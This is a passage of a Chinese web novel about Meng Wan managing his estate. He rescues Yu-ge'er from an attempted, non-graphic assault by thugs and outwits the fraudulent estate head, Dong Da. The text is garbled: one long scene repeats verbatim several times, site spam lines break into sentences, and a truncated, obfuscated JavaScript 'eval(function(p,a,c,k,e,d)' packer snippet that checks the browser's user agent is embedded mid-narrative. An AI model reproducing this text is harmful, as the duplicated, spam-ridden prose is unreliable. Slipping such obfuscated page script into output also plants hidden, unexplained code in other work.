“往常我只是在家听公公说你有多能耐,今日可算是见识到了。”兰娘掀了帘子和郑淑慎打外面进来,满目惊叹。 郑淑慎眼中带着钦佩,他以前以为小哥儿在家读书识礼,出门子嫁人后以夫为刚,这一生也就如此了。从未想过会有孟晚这么厉害的哥儿存在,颠覆了他的认知。 “这算什么呀?”孟晚腾开了地方,让两人上榻说话。又吩咐蚩羽道:“在庄子里盯着点,打听打听有没有会读书识字的人。按理说董大是没那个胆子害人性命,但也保不齐狗急跳墙下干出什么丧失理智的事来。” “好的夫郎,我这就去。”让蚩羽待着他难受,让他出去干活比谁都积极。 “等等。”孟晚叫住他。 蚩羽缩回迈出去的长腿,回头等着他吩咐。 孟晚端起黄叶新添的茶水,里面是他颇为喜爱的八宝茶,“上次你是不是送过来两个人。” “什么两个人?”蚩羽一脸茫然。 孟晚吃惊,蚩羽这么老实的娃,现在也学会演戏了?演的还挺像。 身边有外人在,孟晚也不好细问,只好摆摆手,“算了,你先去吧。” 蚩羽跑下来山才回过神来,夫郎刚才问的那两个人,是不是大人让他送来庄子那两个? 算了,反正夫郎后来又没继续追问,蚩羽有点点心虚。 午后又是惬意的泡了个温泉,加上一顿可口的饭菜,又是一天。 他们本来准备第四天回程,结果一觉还没睡醒,就有人敲起房门,孟晚迷迷糊糊听到黄叶开门的声音。 “秋影哥?你是来找郑夫郎的吗?” “对对对,劳烦弟弟叫我家夫郎一声,郑老太爷和老夫人 从江南赶过来了,半夜到的,见夫郎不在家发了一通火,我家老爷叫我快来请夫郎归家呢!” 孟晚猛地从被窝里坐了起来,一睁眼就见郑淑慎已经慌慌张张的下床了。 “大嫂,你别着急,左右也是没接到,回去后若是令尊令慈怪罪,你只管说是我死皮赖脸的硬拉你来的。”孟晚也飞快往自己身上套衣裳。 郑淑慎按住他,“说得什么话,又不是小孩子出去玩,怎么还有顶包的呢?天色还早你快安心再睡会儿,我爹娘既然来了,阿砚他们也就能安心进学了。” 就是这么着急的时刻,他还有心慢条斯理的安慰孟晚。 黄叶帮侍书收拾着郑淑慎的行李,孟晚和兰娘裹上厚厚的斗篷,目送他们主仆二人随着秋影下山。 吴家的马车在一片暮色中远去,秋影骑在马背上似乎还对着他们挥了挥手。 孟晚还记得他曾经还是个特别爱哭的哭包,这会儿也是一宅管事了。 这会儿也就约莫卯时一刻,天气正冷,火炉里的火没有了,黄叶起身在往里添木炭。 孟晚和兰娘都睡不着了,裹着被子在火炕上说话。 “世家大族、书香门第,以前我不知道有多羡慕那样的出身,现在觉着也没什么了。”兰娘感叹道。 “生在显贵家中有自有他们的无奈,从小衣食无忧,就要接受父母之命高嫁。”孟晚说着话锋一转,“但说来贫苦人家同样无法为自己做主,别说嫁人了,就连温饱都难,几袋子粮食就被爹娘换了出去。” 兰娘赞同,她家之前虽然也是皇庄上的佃户,但好歹衣食无忧,爹娘和哥哥也疼惜,除了在和柴郡议亲的时候受了些磋磨,实际过得还算幸福自在,“你说的也是,若是卖到咱们这样的人家还好,有磋磨下人的,**都悄无声息。” 她把整个脑袋都套进被子里,轻声对孟晚说道:“正月我收了帖子去怀恩伯爵府上,听其他夫人说小话,宫里似乎**一个宫女。” 正旦宴之后,几乎京中所有权贵后宅都知道孟晚在皇宫大内力抗聂贵妃锋芒而不落下风,也听说了他和怀恩伯爵夫人不大对头。 上个月怀恩伯爵府新添了个男婴,京中权贵都通知到了,唯独落了宋家。不管别人怎么想,反正孟晚是乐得清闲。 他也学着兰娘的样子紧了紧被子,“宫里死个宫女不是和普通人踩死一只蚂 蚁一样简单?” 兰娘的声音更小了,“不一样,这次闹得很大,说是……说是被一个太监给奸辱了,直接吊死在了御书房。” 这里面的信息量可太大了,孟晚好半天才回神,“太监怎么能……宫女呢?而且御书房门外有侍卫轮番站岗,会让一个宫女就这么死在众人面前?” 兰娘一肚子的分享欲,可惜郑淑慎是个谨小慎微的,家教太严,平日从不在背后谈论是非,兰娘也不好意思在他面前说这些,这会儿算是放开了手脚。 “就是呢!她们说得可邪门了,有人还说是中了什么邪术,皇上派潜龙卫出宫,四处寻找能人异士呢!” 孟晚几乎瞬间就想到了一人,他眸光闪动,“能人异士啊~” 俩人说了一会儿话天就亮了,黄叶在炉子上熬了红枣粳米粥,煮了一锅茶煮蛋。是他和祝家的厨娘学得,盛京城的煮蛋吃法,用茶叶、盐、花椒和茴香煮蛋,别有滋味。 孟晚头次在自家餐桌上看见的时候还以为是罗霁宁搞出来的,后来才知道盛京这种吃法早就已经出现,稍微有点家底的人家都吃这种煮蛋。 用完了早膳,兰娘又去补觉,孟晚睡不着,带人下山直奔董大家中。 他家好找,挨着晒粮场最大的院子就是。孟晚过去的时候董大媳妇正守着门口东张西望,跟做贼一样。 孟晚当然知道她在害怕什么,故意从她家门前走过,引来她鹅叫似的吸气声,又仿若未闻般离开,给他们留下喘息的机会。 看来牛是还没找全呢? 便再等上半天吧。 孟晚在村里逛了逛,想着今年让佃户们水稻与麦子对半种,山上再多栽种几种果树和青菜,自己给他们额外算工钱便是。 京郊外庄子里的农户其实分两种,一种是佃户,属于租种东家的田,秋收时将收成的六成或七成上交给东家,自己仅留三成或者四成。 有的东家好心,会让佃户先把种子从收成中扣除出去,余下的再上缴。 也有苛刻的,种子也算在收成了,若是佃户没有余留种子的能力,便先向东家“借”,要么就是外赊。 但不论怎样,这类佃户只是租种东家的田亩,人还是自由的平民身份。 另一种叫做佃仆,也叫庄佃。 庄佃便是贱籍,世世代代都为东家为奴为婢 ,除了要缴纳地租外,还须为主家提供劳役等,这种比较惨,过得连普通奴仆都不如。 沐泉庄都是佃农,无一庄佃。因此大家虽然对孟晚恭敬,倒也没那么害怕他。 还有好奇的小孩,不惧严寒,穿着漏风的草鞋,脚腕子冻得都青紫了,还跑出来看热闹。 孟晚无奈的将小孩叫过来,从随身的零食兜里掏出一包果干蜜饯给他,“拿回家去吃吧,别在外冻着了。” 小孩眼中爆发出惊喜的光芒,他搓了搓手,做贼似的前后左右看了一圈。见有好几个人往这边看,眼珠子滴溜溜的转了一圈,一把抓住孟晚手里的油纸包就跑,好像后面有鬼在追似的。 “夫郎,你手没事吧?”黄叶忙上前询问,刚才那小孩动作太快了,怕是孟晚的手给挠破了。 孟晚把手心手背摊开给他看,纤细如玉的手上只有手指微微泛红,上面并无其他伤口。 黄叶瞬间放下了心,但他开口说话后,刚才那个小孩反而停下脚步,回过头来愣愣的看着他发呆。 孟晚稀奇道:“黄叶,你认识这个小孩?” 那孩子头发乱得像稻草,脸上脏污一片,可能是因为太瘦了,喉结大而明显,看个头应该是十一二岁的模样。 “我没见过吧?”黄叶心里纳闷,他才来盛京多久,认识的也就是虎妞和侍书,并没有见过什么外人。 听到他这么说,那小孩眼中的光芒黯淡下去,看起来有些难堪落寞。 “不要……救命……救救我……” 包括孟晚在内的所有人都听到了一道微弱的求救声,蚩羽不知道从哪儿窜出来,“夫郎,要不要管?” 自家庄子,孟晚当然不能让其中出事,“你快去。” 蚩羽习武,脚程快,耳力又灵敏。很快认准了一个方向冲了过去,孟晚一行人紧随其后。 瘦弱小孩抬头望了眼黄叶离开的方向,捏紧手里的果干,也无声的跟了上去。 那是一家普通的佃户家里,茅草房,篱笆小院。有个年轻男人鼻青脸肿的被绑在门口不能动弹,房门大开,两个老人家坐在地上哭天抹泪。 屋子里面横七竖八躺了七八个穿着破布棉衣的男人,其中两个裤子都脱了一半。 蚩羽动作再快也不可能有空绑人,外面这个年轻男人应该是里面这几个流里流气的 混混绑的,发生了什么不言而喻。 孟晚进去的时候狠狠踢了地上挡路的混混一脚,换来对方一声微弱的惨叫,可见刚才那么一小会儿的功夫蚩羽已经把他们打的不轻了。 “黄叶,你给外面那个男人把绳子松开。”黄叶刚蹲下身子,旁边就多出一道干瘦的身影。 “我……我来。”那小孩低着头,用沙哑的声音说道。 黄叶很意外,那是少年成长中嗓音开始发生变化的粗粝声调。 小孩不等黄叶拒绝,麻利的将年轻男人身上的麻绳给解了开来。 年轻男人像是傻了,呆愣愣地说了句,“阿厉啊,谢谢你。” 他说完屋内爹娘的哭泣声终于唤醒了他,年轻男人连滚带爬的跑进屋子里。 蚩羽手足无措的站在炕边上,孟晚也在他旁边,炕上破旧的棉被叫人扔的乱七八糟,一个十六七岁的小哥儿叫人扒了大半的衣裳,露出雪白的皮肤,肩头被按出几个青紫色的指印来。 蚩羽来的及时,没叫他被地上那群畜生给祸害,但是也吓傻了,眼睛瞪得大大的,里面布满了血丝。眼泪鼻涕糊了一脸,这会儿还不住的抽抽。 年轻男人站在床边,满脸痛苦和庆幸,“榆哥儿,你……你没事吧?” 榆哥儿抬头看向面前相貌优越,身上并无过多装饰,但衣着贵气的夫郎,心里就迅速反应过来。 他忍着恐惧感下炕跪在孟晚面前,结结实实的磕起头来,“夫郎饶命,奴已经嫁人了,再不敢胡乱奢望,还请夫郎饶我一命!” 所有人都被他不同寻常的反应搞懵了。 孟晚转念一想就知道他误会了,拢了拢身上的斗篷,孟晚声音略重,“上去穿好衣服。” 榆哥儿对孟晚的话异常听从,他重新爬上炕,系好了身上的腰带,没有孟晚命令,无措的跪坐在炕上。 孟晚指了指年轻男人,“你去把地上那几个人都捆起来,嘴都堵严实了,你夫郎今天安然无恙,你和你爹娘都知道。若是之后被人乱说乱传,那也是你们家自己嘴巴不严。” 年轻男人还不知道要不要照做,炕上的榆哥儿就催促起来,“董牧,夫郎叫你做什么你就做什么!” 孟晚似笑非笑,“怎么,这会儿不给我磕头求饶了?” “是奴自作聪明,多谢孟夫郎相助。”榆哥儿这么短暂的一会儿工夫,已经经历了人生大起大落,他已算是聪明人,知道孟晚来了庄子后在家躲着不敢露面,只让丈夫带些消息回来。 本以为那些流氓是孟晚为了解气故意找来侮辱他的,但看样子救了他的大侠分明就是孟夫郎的人,是他心胸狭隘,想岔了意图。 孟晚吩咐陶十一叫了几个人将这群混混押送到顺天府去。招猫逗狗的玩意,既没有田地,也没有亲人,靠亲戚接济在茅草房里赖着不走,早该赶出庄子里去。 混混绑的,发生了什么不言而喻。 孟晚进去的时候狠狠踢了地上挡路的混混一脚,换来对方一声微弱的惨叫,可见刚才那么一小会儿的功夫蚩羽已经把他们打的不轻了。 “黄叶,你给外面那个男人把绳子松开。”黄叶刚蹲下身子,旁边就多出一道干瘦的身影。 “我……我来。”那小孩低着头,用沙哑的声音说道。 黄叶很意外,那是少年成长中嗓音开始发生变化的粗粝声调。 小孩不等黄叶拒绝,麻利的将年轻男人身上的麻绳给解了开来。 年轻男人像是傻了,呆愣愣地说了句,“阿厉啊,谢谢你。” 他说完屋内爹娘的哭泣声终于唤醒了他,年轻男人连滚带爬的跑进屋子里。 蚩羽手足无措的站在炕边上,孟晚也在他旁边,炕上破旧的棉被叫人扔的乱七八糟,一个十六七岁的小哥儿叫人扒了大半的衣裳,露出雪白的皮肤,肩头被按出几个青紫色的指印来。 蚩羽来的及时,没叫他被地上那群畜生给祸害,但是也吓傻了,眼睛瞪得大大的,里面布满了血丝。眼泪鼻涕糊了一脸,这会儿还不住的抽抽。 年轻男人站在床边,满脸痛苦和庆幸,“榆哥儿,你……你没事吧?” 榆哥儿抬头看向面前相貌优越,身上并无过多装饰,但衣着贵气的夫郎,心里就迅速反应过来。 他忍着恐惧感下炕跪在孟晚面前,结结实实的磕起头来,“夫郎饶命,奴已经嫁人了,再不敢胡乱奢望,还请夫郎饶我一命!” 所有人都被他不同寻常的反应搞懵了。 孟晚转念一想就知道他误会了,拢了拢身上的斗篷,孟晚声音略重,“上去穿好衣服。” 榆哥儿对孟晚的话异常听从,他重新爬上炕,系好了身上的腰带,没有孟晚命令,无措的跪坐在炕上。 孟晚指了指年轻男人,“你去把地上那几个人都捆起来,嘴都堵严实了,你夫郎今天安然无恙,你和你爹娘都知道。若是之后被人乱说乱传,那也是你们家自己嘴巴不严。” 年轻男人还不知道要不要照做,炕上的榆哥儿就催促起来,“董牧,夫郎叫你做什么你就做什么!” 孟晚似笑非笑,“怎么,这会儿不给我磕头求饶了?” “是奴自作聪明,多谢孟夫郎相助。”榆哥儿这么短暂的一会儿工夫,已经经历了人生大起大落,他已算是聪明人,知道孟晚来了庄子后在家躲着不敢露面,只让丈夫带些消息回来。 本以为那些流氓是孟晚为了解气故意找来侮辱他的,但看样子救了他的大侠分明就是孟夫郎的人,是他心胸狭隘,想岔了意图。 孟晚吩咐陶十一叫了几个人将这群混混押送到顺天府去。招猫逗狗的玩意,既没有田地,也没有亲人,靠亲戚接济在茅草房里赖着不走,早该赶出庄子里去。 混混绑的,发生了什么不言而喻。 孟晚进去的时候狠狠踢了地上挡路的混混一脚,换来对方一声微弱的惨叫,可见刚才那么一小会儿的功夫蚩羽已经把他们打的不轻了。 “黄叶,你给外面那个男人把绳子松开。”黄叶刚蹲下身子,旁边就多出一道干瘦的身影。 “我……我来。”那小孩低着头,用沙哑的声音说道。 黄叶很意外,那是少年成长中嗓音开始发生变化的粗粝声调。 小孩不等黄叶拒绝,麻利的将年轻男人身上的麻绳给解了开来。 年轻男人像是傻了,呆愣愣地说了句, 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榆哥儿对孟晚的话异常听从,他重新爬上炕,系好了身上的腰带,没有孟晚命令,无措的跪坐在炕上。 孟晚指了指年轻男人,“你去把地上那几个人都捆起来,嘴都堵严实了,你夫郎今天安然无恙,你和你爹娘都知道。若是之后被人乱说乱传,那也是你们家自己嘴巴不严。” 年轻男人还不知道要不要照做,炕上的榆哥儿就催促起来,“董牧,夫郎叫你做什么你就做什么!” 孟晚似笑非笑,“怎么,这会儿不给我磕头求饶了?” “是奴自作聪明,多谢孟夫郎相助。”榆哥儿这么短暂的一会儿工夫,已经经历了人生大起大落,他已算是聪明人,知道孟晚来了庄子后在家躲着不敢露面,只让丈夫带些消息回来。 本以为那些流氓是孟晚为了解气故意找来侮辱他的,但看样子救了他的大侠分明就是孟夫郎的人,是他心胸狭隘,想岔了意图。 孟晚吩咐陶十一叫了几个人将这群混混押送到顺天府去。招猫逗狗的玩意,既没有田地,也没有亲人,靠亲戚接济在茅草房里赖着不走,早该赶出庄子里去。 混混绑的,发生了什么不言而喻。 孟晚进去的时候狠狠踢了地上挡路的混混一脚,换来对方一声微弱的惨叫,可见刚才那么一小会儿的功夫蚩羽已经把他们打的不轻了。 “黄叶,你给外面那个男人把绳子松开。”黄叶刚蹲下身子,旁边就多出一道干瘦的身影。 “我……我来。”那小孩低着头,用沙哑的声音说道。 黄叶很意外,那是少年成长中嗓音开始发生变化的粗粝声调。 小孩不等黄叶拒绝,麻利的将年轻男人身上的麻绳给解了开来。 年轻男人像是傻了,呆愣愣地说了句,“阿厉啊,谢谢你。” 他说完屋内爹娘的哭泣声终于唤醒了他,年轻男人连滚带爬的跑进屋子里。 蚩羽手足无措的站在炕边上,孟晚也在他旁边,炕上破旧的棉被叫人扔的乱七八糟,一个十六七岁的小哥儿叫人扒了大半的衣裳,露出雪白的皮肤,肩头被按出几个青紫色的指印来。 蚩羽来的及时,没叫他被地上那群畜生给祸害,但是也吓傻了,眼睛瞪得大大的,里面布满了血丝。眼泪鼻涕糊了一脸,这会儿还不住的抽抽。 年轻男人站在床边,满脸痛苦和庆幸,“榆哥儿,你……你没事吧?” 榆哥儿抬头看向面前相貌优越,身上并无过多装饰,但衣着贵气的夫郎,心里就迅速反应过来。 他忍着恐惧感下炕跪在孟晚面前,结结实实的磕起头来,“夫郎饶命,奴已经嫁人了,再不敢胡乱奢望,还请夫郎饶我一命!” 所有人都被他不同寻常的反应搞懵了。 孟晚转念一想就知道他误会了,拢了拢身上的斗篷,孟晚声音略重,“上去穿好衣服。” 榆哥儿对孟晚的话异常听从,他重新爬上炕,系好了身上的腰带,没有孟晚命令,无措的跪坐在炕上。 孟晚指了指年轻男人,“你去把地上那几个人都捆起来,嘴都堵严实了,你夫郎今天安然无恙,你和你爹娘都知道。若是之后被人乱说乱传,那也是你们家自己嘴巴不严。” 年轻男人还不知道要不要照做,炕上的榆哥儿就催促起来,“董牧,夫郎叫你做什么你就做什么!” 孟晚似笑非笑,“怎么,这会儿不给我磕头求饶了?” “是奴自作聪明,多谢孟夫郎相助。”榆哥儿这么短暂的一会儿工夫,已经经历了人生大起大落,他已算是聪明人,知道孟晚来了庄子后在家躲着不敢露面,只让丈夫带些消息回来。 本以为那些流氓是孟晚为了解气故意找来侮辱他的,但看样子救了他的大侠分明就是孟夫郎的人,是他心胸狭隘,想岔了意图。 孟晚吩咐陶十一叫了几个人将这群混混押送到顺天府去。招猫逗狗的玩意,既没有田地,也没有亲人,靠亲戚接济在茅草房里赖着不走,早该赶出庄子里去。 混混绑的,发生了什么不言而喻。 孟晚进去的时候狠狠踢了地上挡路的混混一脚,换来对方一声微弱的惨叫,可见刚才那么一小会儿的功夫蚩羽已经把他们打的不轻了。 “黄叶,你给外面那个男人把绳子松开。”黄叶刚蹲下身子,旁边就多出一道干瘦的身影。 “我……我来。”那小孩低着头,用沙哑的声音说道。 黄叶很意外,那是少年成长中嗓音开始发生变化的粗粝声调。 小孩不等黄叶拒绝,麻利的将年轻男人身上的麻绳给解了开来。 年轻男人像是傻了,呆愣愣地说了句,“阿厉啊,谢谢你。” 他说完屋内爹娘的哭泣声终于唤醒了他,年轻男人连滚带爬的跑进屋子里。 蚩羽手足无措的站在炕边上,孟晚也在他旁边,炕上破旧的棉被叫人扔的乱七八糟,一个十六七岁的小哥儿叫人扒了大半的衣裳,露出雪白的皮肤,肩头被按出几个青紫色的指印来。 蚩羽来的及时,没叫他被地上那群畜生给祸害,但是也吓傻了,眼睛瞪得大大的,里面布满了血丝。眼泪鼻涕糊了一脸,这会儿还不住的抽抽。 年轻男人站在床边,满脸痛苦和庆幸,“榆哥儿,你……你没事吧?” 榆哥儿抬头看向面前相貌优越,身上并无过多装饰,但衣着贵气的夫郎,心里就迅速反应过来。 他忍着恐惧感下炕跪在孟晚面前,结结实实的磕起头来,“夫郎饶命,奴已经嫁人了,再不敢胡乱奢望,还请夫郎饶我一命!” 所有人都被他不同寻常的反应搞懵了。 孟晚转念一想就知道他误会了,拢了拢身上的斗篷,孟晚声音略重,“上去穿好衣服。” 榆哥儿对孟晚的话异常听从,他重新爬上炕,系好了身上的腰带,没有孟晚命令,无措的跪坐在炕上。 孟晚指了指年轻男人,“你去把地上那几个人都捆起来,嘴都堵严实了,你夫郎今天安然无恙,你和你爹娘都知道。若是之后被人乱说乱传,那也是你们家自己嘴巴不严。” 年轻男人还不知道要不要照做,炕上的榆哥儿就催促起来,“董牧,夫郎叫你做什么你就做什么!” 孟晚似笑非笑,“怎么,这会儿不给我磕头求饶了?” “是奴自作聪明,多谢孟夫郎相助。”榆哥儿这么短暂的一会儿工夫,已经经历了人生大起大落,他已算是聪明人,知道孟晚来了庄子后在家躲着不敢露面,只让丈夫带些消息回来。 本以为那些流氓是孟晚为了解气故意找来侮辱他的,但看样子救了他的大侠分明就是孟夫郎的人,是他心胸狭隘,想岔了意图。 孟晚吩咐陶十一叫了几个人将这群混混押送到顺天府去。招猫逗狗的玩意,既没有田地,也没有亲人,靠亲戚接济在茅草房里赖着不走,早该赶出庄子里去。 第29章 沐泉庄(下) “你还有同伴?她境遇如何?”孟晚拖了把凳子来坐。 榆哥儿手忙脚乱的将炕上的被子都整理好,抹着眼睛回道:“当日我们叫人掳……不,叫人送到庄子上,当天庄子上所有的年轻汉子都被叫去,让我们自己挑一户人家嫁了。我挑了董牧,朱娘好像被庄头带回家去了。” 榆哥儿和朱娘到庄子上之后被告知要自己挑选夫婿才明白,劫他们的人定然是宋大人派来的。 宋大人看不上他们俩,又不能当面拂了贵妃娘娘的美意,这才想出这种法子。 本来被送到宋家就是破釜沉舟,一下子又突然要嫁人了,更是打乱了榆哥儿和朱娘的计划。 实际榆哥儿心里甚至有一些庆幸,他和朱娘到这个地步,已经比一般小哥儿女娘胆大不少了。 面前十来个年轻未婚的小伙子,榆哥儿奓着胆子选了其中最干净、年轻、人也长得周正的董牧。 佃户家里能有什么钱,大龄未婚的年轻汉子太多了,董牧稀里糊涂被叫来,欢天喜地的领了个夫郎回去,一家子喜不自胜,第二天就操办起昏礼。 董牧家里只有两间草屋,两个半篓的糙米、半块的碎银、六七百铜板,这些就是寻常佃户所有的家当。 榆哥儿把蚩羽给他的银子藏得严严实实,只将头上的银钗剪下来一小段,交给董牧让他拿去城里买块红布,半匹粗布和几斤棉花。 他亲自缝了两个红枕头,用粗布和棉花做了床新被子,两人这就算是成家了。 如今才成亲没几天,榆哥儿尚且还没出过门,竟然就直接被那群混混给堵在屋里。 他们欺负董牧家里只有一个壮年男丁,差点侮辱了榆哥儿。若不是蚩羽赶来,后果不堪设想。 “这事是我的问题,庄子我既然买了下来,就不应该让庄子里头发生这种事。”孟晚声音坦荡,他不是在引咎自责,而是在陈述事实。 榆哥儿眼底涌现一股意外之色,他是聂家的买去的奴仆,没有根底,买来就是为了调教送人的。 聂家的仆人分成两类,要么就是国公府的老人,严酷死板,动不动就拿规矩下人。 要么就是几个大爷公子身边的人,颜色好,能拿乔,怕榆哥儿这群小侍丫鬟勾了自己少爷,时不时就跑过去找找麻烦。 榆哥儿想着,现在起码出了聂家的虎狼窝,不必 听说看这本书的人都是很幸运的,分享后你的运气会更棒 担心被老爷公子们拉去屋里祸害,最后年华老去连个名分都没有。 如今正正经经嫁了人,好歹是正妻,不用没名没分叫人作贱。 “你可会识字?”孟晚见他有几分机灵,便随口问了句。 榆哥儿虽不知道孟晚为什么这么问,却还是垂眉耷眼,用一半目光含羞带怯地仰视他,“会读三字经和女诫。” 孟晚眉头一皱,“挺直了腰背说话。” 倚在炕沿上柔柔弱弱的榆哥儿立即脊背一挺,“会!” “不错。” 孟晚满意了,“等我把董大收拾了,就你做庄头。” 榆哥儿还没说话,他夫君董牧就连连摇头,“不成的夫郎,榆哥儿不成的。” 他年迈的爹娘也老实巴交的摇头摆手,“小哥儿哪儿能做庄头呢?庄子里的人不会服气的。” “你们是东家还是我是东家?”孟晚眼神锋利,他冷着脸的时候目光摄人,一屋子人也不敢直视,茅草房内鸦雀无声。 “榆哥儿,你干不干,不干我去找别人。”他语气缓和下来,这种事逼迫就没意思了,他也算是为自己的失误给榆哥儿一点小补偿。 宋亭舟行事简单粗暴,幸好这会儿没有太针锋相对的政敌,不然榆哥儿在沐泉庄出什么事被捅出去,也是个麻烦事儿。 榆哥儿本来还在慌神,被孟晚这么一问,想也没想就答应了下来,“夫郎,**!”他甚至又从炕上下来给孟晚磕了个头。 孟晚泛起个有些无奈的笑,“起来吧,带着你夫君跟我去董大家。” 董大庄头的威严甚至比一般村长更胜,董牧一家太过老实,他其实是有些埋怨榆哥儿答应下来的,怕得罪了董大一家,往后在庄子里被欺负。 但对自己漂亮媳妇坚定的眼神,他突然就什么责怪的话也说不出来了。 罢了!反正是东家亲口任命,也不是……也不是他家榆哥儿争来的。 “董牧,你想什么呢?快点跟上来。”榆哥儿其实同他还不大熟悉,平日也不好意思说话。只觉得他人老实,对自己还算诚心,是个难得的好人。 孟晚之所以突然带人去董大家,是因为听到了外面传来的牛叫声。 看来董大已经想方设法凑齐了五十一头牛,不然谅他也不敢回来。 一行人走 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 出门去沐泉庄中的晾谷场已经围满了人。董大和他几个儿子、兄弟侄儿、外甥一大家子人圈了几十头牛在空地上。 “夫郎您看看这些牛刚从外头吃草被赶了回来五十一头一头不少。”二月天还是冷得结冰董大忙活了一晚上没睡这会儿眼袋乌青双眼无声额头上却奇异的冒着热汗。 跟他出庄的其余人状态也差不多。 孟晚身边的黄叶桂谦跑过去清点榆哥儿见状也跟他们上前去数牛。 “这么多的牛养的不错嘛?”孟晚话说完董大面露喜色自以为自己糊弄过去了嘴咧到一半又听孟晚话锋一转“只是我见其中怎么只有十几头成牛剩下都是小牛犊呢?” 奇葩的是董大媳妇和儿夫郎侄媳妇儿等怀里还各抱着还没断奶的小牛犊。 董大一晚上没吃没喝没睡这会儿不光脑袋冒烟喉咙也干涩他咽了口口水说出的话尾音都要劈叉了“好叫夫郎知道咱们庄子的牛本来没那么多今年的母牛吃得好长得也壮所以下了这么些个小牛来。小的本是想牛多是好事不说卖出去 他说的唾沫横飞还真将铁匠铺子农具的事给漏洞百出的圆上了。 孟晚笑眼弯弯像是真的信了他这番说辞极为大方地说:“那么百十两银子我本就不放在心上如今庄里这么多牛想必今年耕地佃户们会更加用心今天大家都在不如谁家的牛谁领家去我看哪家牛多就多给些补贴银子好了。” 董大:“啊?” 这些牛可是他半买半借的啊!其中一半的小牛都是旁边庄子和他有喝酒的交情租给他应急的!!! 买一头成牛六到八两银子不等一头小牛也要四两要把这些牛分出去他拿什么再倒手赚钱! 这些买牛的钱可是他的老本加亲戚们东拼西凑才凑出来的! 榆哥儿不知道这群牛怎么回事但他身边的黄叶突然捅了他一下黄叶是孟夫郎身边得用的人那就是孟夫郎要他第一个出头的意思? 榆哥儿咬咬牙“夫郎这里面有我家一头大牛两头小牛。” 孟晚抚掌一笑“不错养的很好领回家去吧。” 他从黄叶那 你的朋友正在书荒,快去帮帮他吧 里要来个钱袋子,里面是满满登登的碎银和铜板,“养牛也不容易,都是为了给庄子耕地,这样吧,大牛我就赏你二百文,小牛一头一百文,这里是四百文,好好收着。 董牧不敢动作,榆哥儿硬着头皮从董大手里抢过来一头大牛,然后捅了捅董牧,“把咱家剩下两头小牛牵回家去,夫郎赏了还不谢赏? 董牧迟钝的给孟晚作了个揖,把孟晚递过来的小半串铜板仔仔细细收入怀中,然后忐忑地问自家夫郎,“榆哥儿,哪个是咱家小牛啊? 榆哥儿见董大一家敢怒不敢言的样子,心里渐渐有了底气,却也不敢做得太过。他两只手都占着,便努了努嘴巴,“婶子和嫂子怀里抱着的就是。 董牧招呼自家爹娘过来抱小牛犊,从董大媳妇手里接过来的时候费了一番力气。 董大媳妇不肯给,她知道这些牛都是用她家的银钱买来的,如何平白给了旁人去? 孟晚不解的问道:“这是怎么一回事,难不成这牛不是董牧家里的,而是你们家的?他语气渐渐危险起来,“董大,难不成你敢骗我,这些牛都是你假意弄来,为了诓骗我的银钱? “没有没有,小的怎么敢这么做呢! 董大现在骑虎难下,为了不被发现把柄,只能打碎了牙往肚子里咽,硬生生从媳妇手中抢过冻得发抖的小牛犊,亲自塞到董牧爹的手里,“老哥,接好了你家的牛哈,大冷的天别总往外抱了,晒太阳还是在自家院里晒吧。 小牛犊比成羊还大,董牧爹颤颤巍巍的接手差点没给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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像刚才说话要八头牛的,实际一头也养不起,这样的人家就是要了,一会儿也不会给他分。 后续基本是一家一头牛,分的很匀称,董大一家子条件好,倒是可以多分摊两头,但是董大怕了,他总觉得孟晚好像什么都知道,又觉得是自己多虑。 董大现在已经顾不得心疼他花钱买的牛了,只要能把孟晚这尊大神先送走再说,到时候哪怕登录到黄册上,他也能想方设法的弄过来! 将牛都分好,孟晚打了个哈欠,“好了,现在该说说庄子上欠款的事了。” 董大心中暗骂:小娼妇,还有完没完了! 面上却堆着一堆褶子,笑着点头哈腰,“夫郎莫要操心,这点欠款您若是不想去还,咱们就自讨药包,等今年秋收了用粮食抵钱便是。只是佃户们也要吃喝,今年若是还不齐全,便要多还几年。” “不用了,我已经还完了。”孟晚轻描淡写地说。 董大差点没提上来,“什么!还了?您都给还了?” 他就买那些东西可是为了倒卖出去给自己牟利的,根本就没有用到账本上写的那么多银钱,孟晚还了钱,岂不是知道了自己报假账? 孟晚没有任何愤怒的神色,他似乎不明白董大为什么那么惊讶,“我早说了,这点银子对我来说不算什么。但东西我要见见,这样吧,明天一早,你把那二百斤棉花,七石的粮种,还有其他农具都准备出来给我看看。” 董大眼皮子来回跳动,嘴角也抽搐不停的说:“是,孟夫郎,明早我就带着东西来见您。” 孟晚十分满意,“很好。” 午后泡了个温泉浴,和兰娘又是美餐一顿,孟晚嘱咐黄叶,“把东西都收收,明早回家。” 兰娘讶道:“我看庄子上那个董大是个偷奸耍滑的,你难道不收拾了他再回去?” 孟晚穿着亵衣亵裤倒在床铺上,“已经收拾了。” 后半夜,蚩羽从外头回来,“夫郎,董大一家子逃跑,已经被抓了,陶十一把人都捆了个结实,说是卯时城门开了就送到顺天府去。” 孟晚睡得迷迷糊糊,“唔……知道了。” 第30章 郑肃 第二天一早孟晚听见黄叶和兰娘交谈的声音,但他眼皮子黏着,就是睁不开。 “富夫人,祝大人来接你了,就在山下。” 兰娘嗔了一句,“说了今日就回家去了,在家等着就是了。” “叶哥儿,那我这就走了,你别叫晚哥儿了,让他再多睡会儿吧。” 房门被推了又开,带起一阵冷风,孟晚往被子里缩了缩,恨不得把整个脑袋都埋进去。 动作被一只大手阻挠住,他一整个人都被人捞进怀里。 浑身上下都被熟悉的气息包裹住,孟晚满足地喟叹了一声,“你怎么来了?早朝呢?” 宋亭舟躺在他身边,“今日陛下免了早朝,我休沐半日,一会儿接你回去,午后再去衙门。” “免了早朝?” 孟晚眼皮瞬间撑了起来,他把下巴撂在宋亭舟锁骨处,一脸的求知欲望,“圣上不是勤勉的很吗?往日除了节日从来没免过早朝呀?” 宋亭舟把他挣开的被子掖紧,“圣上年纪大了难免力不从心,不如从前勤勉,亦属平常。” 孟晚还是困的,他埋在宋亭舟身上打了个哈欠,脑子里又惦记着同他说起听来的八卦,“宫里的事你听说了没有,兰娘说是有个小宫女吊死在御书房了,很多人都听说了这事。” 宋亭舟揽着他腰身的手收紧,嘴唇侧开找准孟晚耳朵的位置对他轻语。 